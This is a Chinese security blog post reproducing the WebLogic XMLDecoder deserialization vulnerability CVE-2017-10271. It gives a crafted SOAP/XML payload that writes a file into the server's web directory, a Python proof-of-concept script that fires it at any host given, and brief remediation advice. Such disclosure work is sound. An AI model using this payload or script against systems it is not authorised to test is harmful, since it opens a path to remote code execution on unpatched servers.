专栏首页ChaMd5安全团队WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现&修复方案

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现&修复方案

0x00 漏洞简介

  • 此次漏洞是针对Oracle WebLogic Server组件的WLS Security子组件
  • 使用精心构造的xml数据可能造成任意代码执行
  • 影响版本: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x01 复现过程

/wls-wsat/CoordinatorPortTypPOST提交如下XML并将 Content-Type修改为 test/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println"><string>weblogic_CVE-2017-10271</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

提交过后会在 /bea_wls_internal/下生成test.txt。

0x02 修复方案

  • 对wls组件进行访问控制
  • 升级Oracle 10月份补丁

0x03 POC

#coding=utf-8

import requests

import sys


#author 香香@chamd5

#声明:仅用于学习交流与授权测试,请勿用于非法用途,其后果与本人及团队无关


def exp(url,file):

    headers = {'Content-type': 'text/xml'}

    xml = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/%s</string><void method="println"><string>CVE-2017-10271_test</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope> '''%(file)

    res = requests.post('http://%s/wls-wsat/CoordinatorPortType'%(url), headers=headers, data=xml)

    if res.status_code != 404:

        res = requests.head('http://%s/bea_wls_internal/%s'%(url,file)).status_code

        if res != 404:

            print 'ok! file_path: http://%s/bea_wls_internal/%s'%(str(url),str(file))

    else:

        print 'no!'



if __name__ == '__main__':

    if len(sys.argv)<3:

        print '''

please use python weblogic.py host:port filepath

        '''

        sys.exit(0)

    url = sys.argv[1]

    file = sys.argv[2]

    exp(url,file)

参考链接:

https://github.com/kylingit/blog-hugo/blob/master/content/blog/Weblogic-0day.md

本文分享自微信公众号 - ChaMd5安全团队(chamd5sec),作者:香香

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-12-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • OtterCTF 13道内存取证题目详细解析(上)

    you got a sample of rick's PC's memory. can you get his user password? format: C...

    ChaMd5安全团队
  • OtterCTF 13道内存取证题目详细解析(下)

    The reason that we took rick's PC memory dump is because there was a malware inf...

    ChaMd5安全团队
  • CTF学习站点总结

    CTF学习站点总结 0x00 前言 公众号的后台,有很多的朋友都在问,你们CTF是怎么入门的? 有没有什么东西能和我们分享下的? 有没有什么学习的网站啊之类的问...

    ChaMd5安全团队
  • excel导入工具

    实例化ExcelImport工具类之后,需要调用importExcel方法,方法定义如下

    云枭
  • 秋招结束,一波干货面经分享。

    秋招陆陆续续大概进行了一个月,目前基本结束了,拿到的offer有腾讯、阿里和网易,小弟在这分享一波感想,回馈牛客。

    牛客网
  • Python爬虫之Xpath学习问题解决用xpath方法爬取豆瓣图书top250分析总结

    罗罗攀
  • 3.2.8 虚拟内存管理

    多道程序并发执行不仅使进程之间共享了处理器,还同时共享了主存。然而,随着处理器需求的增长,进程的执行速度会以某种合理平滑的方式慢下来。但是,如果同时执行的进程太...

    week
  • SpringCloudGateway笔记(11)-异常拦截

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

    yingzi_code
  • Agora SDK 在Android中的使用(在线视频通话)

    张风捷特烈
  • Spring Boot 整合 FastDFS 客户端

    前两篇整体上介绍了通过 Nginx 和 FastDFS 的整合来实现文件服务器。但是,在实际开发中对图片或文件的操作都是通过应用程序来完成的,因此,本篇将介绍 ...

    IT技术小咖

扫码关注云+社区

领取腾讯云代金券